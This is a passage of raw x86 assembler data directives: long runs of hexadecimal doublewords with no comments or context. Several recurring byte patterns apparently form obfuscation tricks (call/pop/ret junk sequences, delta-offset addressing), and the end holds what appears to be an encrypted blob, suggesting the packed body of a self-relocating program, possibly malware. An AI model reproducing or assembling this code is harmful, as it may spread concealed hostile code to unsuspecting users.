		dd 8B5E53D4h, 2A16C1B5h, 0AE906h, 4A370000h, 0BC858123h
		dd 0D0E5C691h, 6600C183h, 0D93BF78Bh, 120860Fh,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B761DC3h, 2A27C1BDh, 0D98C6606h, 33019D89h,	0C1F6062Ah
		dd 0E3840F04h, 52000000h, 0FFFB8B5Fh, 2A186D95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 80AD1DE0h, 1F0462F8h, 10D1BD89h, 6A5B062Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0C922C350h, 2B33D549h, 51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 9E5B5FB3h
		dd 0EE8166BEh, 343D6097h, 0F000008h, 5D86h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 7BE6ED6h, 0F62BFC1Eh, 0AE9DCh, 38040000h, 0FB8C79CDh
		dd 9F820977h, 2DE9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8B527489h, 2A1385B5h
		dd 0C08B5F06h, 12419509h, 0C38B062Ah, 8B57D88Bh, 2A2815B5h
		dd 85C75E06h, 62A05CDh,	13BDF595h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 27C35747h, 3FE52F9Bh, 0C08B2769h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F0C35242h
		dd 81A0CBCCh, 2A24FDBDh, 7D006h, 52850F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 6161C351h, 6890FE6h, 81000000h, 417798D7h
		dd 0FD85FF52h, 6A062A24h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 3A44C350h, 1B086468h
		dd 0FDB5FFB8h, 50062A24h, 11E9h, 0DCE35A00h, 0AE1A962Ah
		dd 2811611h, 0FA091F99h, 0FF5EEC01h, 2A343995h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0FE8B49DAh, 50006A90h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 4D62E3A0h, 68A6DE7Ah
		dd 9D314240h, 62A0829h,	29059D89h, 8E9062Ah, 0A8000000h
		dd 0C32D70FEh, 89D9858Ch, 2A2591B5h, 0F18B6606h, 0BD8BF18Bh
		dd 62A28D5h, 20218589h,	6A062Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8D01A8C3h, 62A3405h
		dd 17FDB589h, 9E9062Ah,	80000000h, 0C88E6D9h, 2D39E78Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0A1C35040h
		dd 8529FACEh, 62A17FDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0F5C35141h, 91666E8Eh, 13E9h,	54776000h
		dd 0E45DDE53h, 83CA1999h, 271DE2AAh, 1354B788h,	1079B58Bh
		dd 0B58B062Ah, 62A24D5h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 89C35141h, 0FAFAC8C3h, 73B7BD14h, 10E95E52h
		dd 54000000h, 2BB12FE7h, 9C8D9C55h, 0BB7F7805h,	509CCC93h
		dd 1665B58Bh, 6E8062Ah,	41000000h, 7E70D902h, 71B589BAh
		dd 52062A12h, 0E95F5E5Fh, 0FFFFF7B3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 41C35646h, 34F26920h, 0F750F478h
		dd 0CE915h, 0BB860000h,	29C3B808h, 0E7368A6Bh, 9589E0D1h
		dd 62A2559h, 8BF2B70Fh,	0E19589C1h, 0EB062A1Fh,	4, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 219A183h, 3D88CD41h,	8D31D2F1h, 62A119Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FFC35545h, 38574F29h
		dd 335112A6h, 2A358DB5h, 3DB58B06h, 8D062A03h, 2A191185h
		dd 0F9BF0F06h, 24048950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 5BC35343h, 0DF58D10Fh, 163113E4h, 2515B52Bh
		dd 6AFC062Ah
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 7EBF6620h, 0BE9E8h, 14210000h, 0E04731F2h
		dd 50869A29h, 66006AC9h, 0C288D681h, 0F0B4858Dh, 870F062Dh
		dd 0Ch,	6850Fh,	0B5330000h, 62A1311h, 6A05C083h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0D4BFC356h, 66569015h, 505FFE8Bh, 0D6B6BF66h, 6A006A90h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 821C352h,	2775BFAEh, 6A3322h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 2EC35646h, 28C0Fh
		dd 0F78B0000h, 127595FFh, 810F062Ah, 2,	9D8DF28Bh, 62DB966h
		dd 0D3FFF18Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0A6C35646h, 6A967AD5h, 0E8D03CCFh, 9, 6E5C3904h
		dd 90BBAE24h, 6DB509BCh, 5E062A07h, 0FFF9B70Fh,	2A14C185h
		dd 0DDBD0906h, 0F5062A10h, 880E9h, 0E800h, 815D0000h, 2DF0BEEDh
		dd 65958906h, 81062A24h, 2A24FDBDh, 7D006h, 53860F00h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 5C4EC356h, 8B695375h, 2A063D9Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0F9347965h, 7B893C76h, 9E9ACh, 0B7950000h
		dd 454F67DBh, 81AF6311h, 100E3h, 0C9BE6600h, 0FDB0BE6h
		dd 0BC85h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 499D89ADh, 83062A1Ah, 2DEEF5BDh
		dd 840F0006h, 4Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 1DC35242h, 13E8h, 6739D100h, 0DB30AD4Dh
		dd 0B45155DEh, 22B52220h, 4CF594F8h, 6870Fh, 0B58B0000h
		dd 62A3485h, 56E95Fh, 0B58B0000h, 62A341Dh, 0EEF585C7h
		dd 1062Dh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 972854C3h, 14ED9D89h, 0B58B062Ah
		dd 62A25BDh, 17E9h, 2890F00h, 8B000000h, 0F585C7F8h, 62DEEh
		dd 66000000h, 863BF681h, 63D9D8Dh, 0B58B062Ah, 62A0F5Dh
		dd 7E9h, 7E70D900h, 760A78BAh, 0FEFF2381h, 8C66FFFFh, 11E9DBh
		dd 825E0000h, 294760EEh, 5BE66AE7h, 0D5228037h,	0F6D1195Eh
		dd 840F04C3h, 71h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0C3C35646h, 830F3493h, 5, 0FEDE8166h
		dd 6D95FF9Ah, 89062A18h, 2A2C699Dh, 10E95006h, 62000000h
		dd 57FBACA5h, 115DCDD4h, 0A4F320EBh, 893A5FCCh,	6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 4AAE85C3h, 0EBF6644h, 441E9C6h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 27E95DC3h
		dd 2880FD4h, 56000000h,	6A00B05Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 919CC356h
		dd 6FBB3B26h, 0BD8BCC9Ah, 62A1951h, 0F5270E6h, 285h, 5EFB8B00h
		dd 8B6671E4h, 0D8B60FFBh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0C4C35040h, 0FF88FFB8h, 3F127CD8h, 6BAF8h
		dd 0B70F0000h, 53BE66FBh, 0C1C38BAEh, 6A04E8h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 5EC1C2C3h, 1A3D9D89h, 0F766062Ah, 53006AE2h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0D7B95Eh, 62ED2FB3h
		dd 0D82B2C67h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	1DC35040h, 2B91B503h, 5F51062Ah, 10E9h,	981C6B00h
		dd 13BFB15Bh, 0B9A71D62h, 2587E1Eh, 5250504Ah, 68D0Fh
		dd 850F0000h, 0
		dd 0BF66310Fh, 585AD7D1h, 6A241C89h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B4D1C350h
		dd 820F74A0h, 14h, 0FE9h, 0DD6C0000h, 0E626A8Bh, 0C0128FAFh
		dd 0EC89E71Eh, 24FDB5FFh, 0B58B062Ah, 62A0891h,	343995FFh
		dd 0B70F062Ah, 3100B0F1h, 2A0FB9BDh, 6670E606h,	71E4FE8Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0ADC35141h
		dd 0A458C0FCh, 55BD8B53h, 3C062A21h, 78830F61h,	66000002h
		dd 0D420E781h, 9837BE66h, 6AD8B60Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0AFDC351h
		dd 25893E59h, 66AB729Fh, 0A420C681h, 6BAh, 0E5BD0300h
		dd 8B062A34h, 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 97B56062h, 168F0Fh, 11E90000h, 0C6000000h
		dd 0C932823Ah, 340AF39h, 0EF61DABh, 2B6D59FBh, 0B19D8961h
		dd 0C1062A2Ch, 6A04E8h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0DBCF5FC3h, 875E5B1Fh, 89CF122Ch
		dd 2A17F58Dh, 0E2F76606h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 1BC35141h, 95099562h,	62A1B5Dh, 0CE8D82Bh
		dd 4000000h, 1C510DD2h,	0B639CE7Eh, 8BC75E1Bh, 2A27B9B5h
		dd 6A585F06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0F8EBC356h, 880FD82Bh,	15Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5AC35747h, 0A6F02F80h
		dd 0D92CE4DAh, 7B9EAh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 49CBC3C3h, 0AE67C4F7h
		dd 5FF98B53h, 6A00C183h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 2934C357h, 0BD03B1A6h
		dd 62A0FA9h, 860FD93Bh,	0DFh, 31D98C66h, 2A15F18Dh, 4C1F606h
		dd 0AD840Fh, 85890000h,	62A0595h, 186D95FFh, 6A062Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 831238C3h, 0B95B6032h, 891E30AAh, 2A25599Dh,	6A5B06h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0DAF572C3h, 0D1855491h, 0FAF6AF6h, 685h, 8D8D8900h
		dd 2B062A13h, 55B589C3h, 3D062A06h, 834h, 31860Fh, 95890000h
		dd 62A3475h, 46E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 28FB8F8Eh, 0F19D89E4h
		dd 8B062A16h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8B7580E0h, 60D88BC3h, 0F38BD78Ah
		dd 0F185C761h, 0B3062A11h, 6A350DF7h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 9A04C357h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 18A068C3h, 0A29CB46Dh, 2B098D29h,	0BD81062Ah
		dd 62A24FDh, 7D0h, 55850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 9CF318C3h
		dd 82F08BB3h, 3970F681h, 85FF728Fh, 62A24FDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 99C35646h, 38F98E46h
		dd 0D9D31E8h, 0FF062A20h, 2A24FDB5h, 5BD8B06h, 0FF062A2Eh
		dd 2A343995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 9E6FFF35h, 9DC2D6EAh, 90F7B70Fh
		dd 0F398589h, 8166062Ah, 6A2E23E6h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0AB08C351h
		dd 0FEF5A60h, 0BD8BF2BFh, 62A0ED5h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0C5C35545h,	8B36C690h, 2D4CF81h
		dd 0B58B302Fh, 62A294Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0FEC35747h, 1B8BEC9Ch, 76DBD2Bh, 0BF66062Ah
		dd 0B58BF6A2h, 62A29BDh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 50C35747h, 0BD89515Ah, 62A2669h, 50006A5Fh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8B5497CCh, 2A1901B5h, 31950906h, 0BF062A2Dh,	615AD11Dh
		dd 21880Fh, 13E80000h, 67000000h, 92E39028h, 0B4C9773Bh
		dd 475E9BD8h, 4A77A647h, 0C7819E63h, 5A3219EAh,	0E95F5F53h
		dd 0FFFFF7A9h, 8DFFD681h, 0BD8B157Dh, 62A1029h,	1361BD8Bh
		dd 12E9062Ah, 37000000h, 36307222h, 1D3064Dh, 0C3F75E8Bh
		dd 0C376969Eh, 8BC18B8Fh, 2A1379BDh, 4EB06h, 0F000000h
		dd 680h, 0E1BD8900h, 0F5062A2Ch, 1911858Dh, 6A062Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 59A3D4C3h, 0FE845h, 0E6CA0000h, 88467B3Bh, 7B4077ECh
		dd 0D9A7FDD5h, 11E9A3h,	1CEA0000h, 0D2BBE0E9h, 9137F2EAh
		dd 839D4F4Fh, 5E9C1E27h, 14F5BE50h, 48954C0h, 11E924h
		dd 0B0770000h, 2D798CB7h, 41340172h, 0D830148Fh, 0F335D27h
		dd 48Ch, 0DBE6600h, 0F8006A82h,	6A5FF552h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 792A61FDh, 68C0ECA3h, 870F70EAh, 5, 62EE8166h, 6858D58h
		dd 6A062DFBh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 964FC351h, 0E8C06C35h,	60E681BDh
		dd 8335F3A6h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 6A67D0C3h, 0E9401566h, 0B1BD8BECh
		dd 0BE062A04h, 7477BA09h, 0E3BE6690h, 8A605092h, 6A9061C5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0BEDFC353h, 6AF506h, 188C0Fh, 12E80000h
		dd 0C000000h, 0BEC0F29Dh, 54ECF7E1h, 36D6176h, 693E3906h
		dd 6A5FF0h, 6E8h, 1C5BD500h, 8BFB6668h,	95FF5EF9h, 62A1275h
		dd 0FB9B58Bh, 9D8D062Ah, 62DB966h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0D1C35545h,	0DD77FF8Dh, 9E9D3FFh
		dd 12000000h, 81B91087h, 431F5343h, 14C185FFh, 0DEE9062Ah
		dd 0E8000008h, 0
		dd 10ED815Dh, 6A062DFBh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 9213C353h, 12E9h, 7B9B6300h
		dd 41238AE6h, 2535B99Ch, 74E5A2B3h, 2B3AEE7Ch, 2A28D1B5h
		dd 0FDBD8106h, 0D0062A24h, 0F000007h, 18F86h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 9F508C00h, 4860FF7h,	66000000h, 0F013BBFh, 9D8BFABFh
		dd 62A167Dh, 58C0Fh, 81660000h,	8117F5DEh, 100E3h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0E8E4465Fh, 0Ah, 0B2705D92h,	89C7628Dh, 22BE6B8Ch, 5E0ED773h
		dd 850FDB0Bh, 0A0h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 6AC35747h, 816601C9h,	8B7B95C6h, 2A22CDB5h
		dd 43BD8306h, 62DF9h, 53840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 155461C3h
		dd 13D06726h, 899D737Dh, 2A129DB5h, 52E9F906h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 81FAC353h, 3DC716CFh, 4385C77Eh, 1062DF9h
		dd 1000000h, 2A1EB9B5h,	1BE906h, 0FE8B0000h, 0F94385C7h
		dd 62Dh, 9E90000h, 2F000000h, 0CE04484h, 423245E6h, 7D9D8DF9h
		dd 8B062A16h, 2A19F9B5h, 0FF238106h, 6AFFFFFEh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 9A22C353h, 388FB541h, 51E1502Eh, 1A8E0Fh, 14E80000h
		dd 9000000h, 0AF4DA9BAh, 0F557E294h, 939EF62Dh,	0F883E061h
		dd 5E82940Fh, 6ADB8C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 6ECEC351h, 9232BF66h
		dd 0F04C3F6h, 4884h, 3DBD8B00h,	3062A0Ah, 2A2B15B5h, 6D95FF06h
		dd 0F062A18h, 383h, 0F6BF0F00h,	0BE525090h, 35BB4B8Ah
		dd 585A310Fh, 14E850h, 47480000h, 0DF63C181h, 0D9512019h
		dd 3F8D91A5h, 0D2F68981h, 61BFBD17h, 5E560809h,	475E990h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0CBF4C1C3h, 11E92808h, 53000000h,	0F3168316h
		dd 7D280A42h, 0D9078FCAh, 0FB2898C3h, 70E600B0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0EAC35545h, 3160047Dh
		dd 2A0F6585h, 6A71E406h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 361CC353h, 8529B891h
		dd 62A04B1h, 6AD8B60Fh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 764BC352h, 52051E6Eh
		dd 0BAF18B66h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0DAC35646h, 6AC38Bh, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 170424h, 50400000h, 561EE1C3h, 0E8C1F98Fh
		dd 0FE804h, 0DD500000h,	293FA587h, 0FD426C8Fh, 0ECCC53Eh
		dd 13E971h, 6E2E0000h, 928774C6h, 1AB67F7h, 43D38833h
		dd 0AC528BE5h, 0F7665E7Eh, 7CB4BFE2h, 0BE664CD8h, 0D82B3D74h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7C35747h
		dd 3D57FA8Fh, 898A5876h, 2A079DBDh, 0A1BD2906h,	93062A33h
		dd 1EA69FBEh, 6A93501Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 6D66C356h, 8B883442h
		dd 2A1881BDh, 0B5BD8B06h, 0FF062A04h, 2A24FDB5h, 3995FF06h
		dd 0E9062A34h, 0Ch, 6A53A0A9h, 1A98357Ah, 9A5FECD0h, 70E600B0h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0FBC35747h
		dd 5895E85h, 0FA68F83h,	9BCB12BEh, 0E9BE6672h, 6A71E46Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0A12FC350h, 800F9E0Dh, 0
		dd 830F613Ch, 267h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 56C35545h, 0B2B7A607h, 6984021Ah, 0FF78B66h
		dd 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0CA4D32C3h, 0C02CDD7Fh, 0AE945A8h, 0FC000000h
		dd 2E55EDC8h, 6E88082Bh, 6BA78h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0AD435BC3h
		dd 0ACBF5C56h, 8B1C185Eh, 859589C3h, 0C1062A1Ah, 6A04E8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 2ED4E2C3h, 28EE81B4h, 0E923D26Fh, 0Bh, 707B7D4Bh, 4B6BB8E0h
		dd 662BD1C0h, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F5B095C3h, 8D01D82Bh, 62A1129h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0FD82B04h, 15288h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0BAB8D9FAh
		dd 7BBC67F2h, 7B9h, 6E900h, 0BE9A0000h,	16E3349Bh, 6A00C183h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 728BC351h, 19058D01h, 0D93B062Ah,	0F1860Fh
		dd 8D890000h, 62A0F2Dh,	6AD98C66h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E86AC356h
		dd 8, 2CE70B87h, 0AD12EA72h, 4C1F65Eh, 0A7840Fh, 6E90000h
		dd 92000000h, 25326681h, 6D95FFCAh, 6A062A18h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0BB7C352h, 820FB037h, 4, 3316BE66h, 195095Bh, 2B062A1Bh
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 19B50B30h, 3D062A29h, 834h, 37860Fh, 0E9F50000h
		dd 3Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
		dd 9AC35343h, 0EF98589h, 0AE9062Ah, 0CE000000h,	2386FF56h
		dd 0D630F9Dh, 0FC08B38h, 681h, 5D852900h, 8B062A07h, 6AD88BC3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 893AC356h, 2A25459Dh, 3D85C706h, 39062A06h
		dd 6A5B8B37h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8987C352h, 2A327995h, 6AC08B06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 3266C352h, 3FBB70Fh, 2A0639BDh, 0A9BD8906h
		dd 81062A23h, 2A24FDBDh, 7D006h, 11850F00h, 0BF000000h
		dd 63BB0F59h, 24FD85FFh, 0B58B062Ah, 62A1BA1h, 24FDB5FFh
		dd 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 90E1C1C3h, 3995FF22h, 6A062A34h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8B08C357h, 2A2511BDh, 55B50906h, 90062A21h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 23C35141h, 8E9h
		dd 0EAABBA00h, 0F26F6351h, 11E98Ah, 0A8440000h,	0C8F5F839h
		dd 695EE56Ch, 5B2EC5D0h, 81C1647Fh, 0D78AC1F7h,	0F98B664Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 39C35545h
		dd 0AD90C09h, 89FA9F1Dh, 2A3265B5h, 19858906h, 60062A08h
		dd 369BD89h, 7E9062Ah, 3C000000h, 0F1CD2045h, 9D8BDEC2h
		dd 62A0699h, 0FF78B61h,	684h, 0A58D8900h, 6A062A1Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0EB61C353h, 0BFD357D0h, 2290F745h, 21CDBD8Bh, 0EE9062Ah
		dd 1B000000h, 5D05AB0Bh, 0E74499D9h, 0A6AFEF5Fh, 56006AAFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8A0FCC8Fh, 5, 7FC4C5BEh, 0B58B5236h,	62A1991h, 0F725E95Fh
		dd 0B70FFFFFh, 2FE9F2h,	905C0000h, 2E4Dh, 0Ah dup(0)
		dd 545E900h, 0D3150000h, 0CA37EF89h, 0B1520AA4h, 976F27C1h
		dd 758F47E1h, 0BF8965FFh, 11ABC93Bh, 30CAAC59h,	51EB6F78h
		dd 6D076999h, 0BC796E87h, 3289D80h, 0CB379E6Eh,	0A163BBA5h
		dd 818139D3h, 55AD05EFh, 28D9311Bh, 0E6F77989h,	1F7E6937h
		dd 0B07E8FE5h, 0CE281F53h, 43190CAEh, 7E17B1BFh, 0A2B20CFh
		dd 0AD226F7Dh, 7CE84D42h, 64CF226Fh, 0A2B82F6Dh, 0C3975008h
		dd 0F28481D9h, 776A8408h, 7A1446A1h, 84F213E1h,	0BDB34F8Dh
		dd 0B1C5400Eh, 887D2CC7h, 226F7DADh, 56B0A712h,	6F7D63D7h
		dd 76446B22h, 62FDE78Fh, 6C584B6Bh, 0D2E70E5Eh,	75C0B564h
		dd 4A226F71h, 40AC5B0Bh, 0FF10B7C9h, 53F708h, 372F0000h
		dd 3CBBA5CBh, 226F7CFFh, 2BDAA8CFh, 0EEFF778Eh,	52726904h
		dd 0E57735Fh, 179D2E7h,	0B1000000h, 0FB5F8856h,	417F7611h
		dd 6113F1C0h, 0F30E6650h, 0CD39917Bh, 4F6018EEh, 0D6A44565h
		dd 0C634830h, 7BA6FFFEh, 675A7A71h, 64FE7091h, 801A56ACh
		dd 0A7CD37AEh, 0D29C65BDh, 5F7190E8h, 6F7CCB6Ah, 7081EC22h
		dd 0DED32E86h, 513B4C24h, 0ADC6B9C3h, 0D6AC9FA9h, 0F4AC462Eh
		dd 0E5B3620Eh, 45E551Fh, 0A85E57ACh, 6F80EE13h,	9BD52D85h
		dd 0F40516B1h, 0D180AF0Ah, 7D082D22h, 44AF226Fh, 6F7CE64Fh
		dd 776ED922h, 62786457h, 80D2E708h, 2D2454B2h, 571Ch, 0CD375400h
		dd 9E65BDA7h, 0AE58D700h, 768700EEh, 0D7CA6C8Ch, 0D7710301h
		dd 81BBE51Fh, 0BDAD7A1Eh, 0D654F60h, 3A957FF9h,	0AF2B170Ah
		dd 33D2E7B9h, 3D3EE44Eh, 71921884h, 6B7C1701h, 506374h
		dd 379B0000h, 5DFDEACDh, 0DDC7D873h, 0EF86285h,	6A4033C3h
		dd 6E40DA9Ah, 83B2A756h, 34226F7Dh, 6D94D2C9h, 10DE1701h
		dd 0FC9781F5h, 7D9AA005h, 0A85B226Fh, 7E88E0CAh, 9DD92CFAh
		dd 281B25B3h, 0B2C3B352h, 0B8A497BFh, 0D2E70E12h, 1BEh
		dd 0CC37F600h, 0DB29F7A6h, 1D14AF99h, 1C976BC3h, 3E32D0E9h
		dd 0AE321C2Dh, 38CBA194h, 5807A03Ah, 6F7CD263h,	837AE522h
		dd 0AFF84Dh, 45583F0Bh,	2F70024h, 2899A833h, 1E081984h
		dd 85343CC6h, 15DCB0A0h, 0F9F03E53h, 0F8A756EFh, 99CF3203h
		dd 251A8528h, 2899CF10h, 7453CA7h, 0C8B75FBh, 2899CF2Fh
		dd 784E41D1h, 944CE68Ah, 0DF18026Eh, 45DBF4FAh,	857CDD67h
		dd 0CBB5BB47h, 6A40333Dh, 703ED898h, 0D911C05Ah, 13676h
		dd 0EA3FAE00h, 0EDFDF2A1h, 5244559h, 15F3B020h,	0A19861EBh
		dd 0A1DAC42Fh, 0F59B08BCh, 3E35A70Eh, 649A0200h, 0FEA355DDh
		dd 0F1A04F60h, 99EE39FCh, 1C137E28h, 0C8A85A12h, 2ED7A5DEh
		dd 0CCC35E48h, 12FC748Eh, 988D4BBAh, 2899EE9Dh,	0BCA6B722h
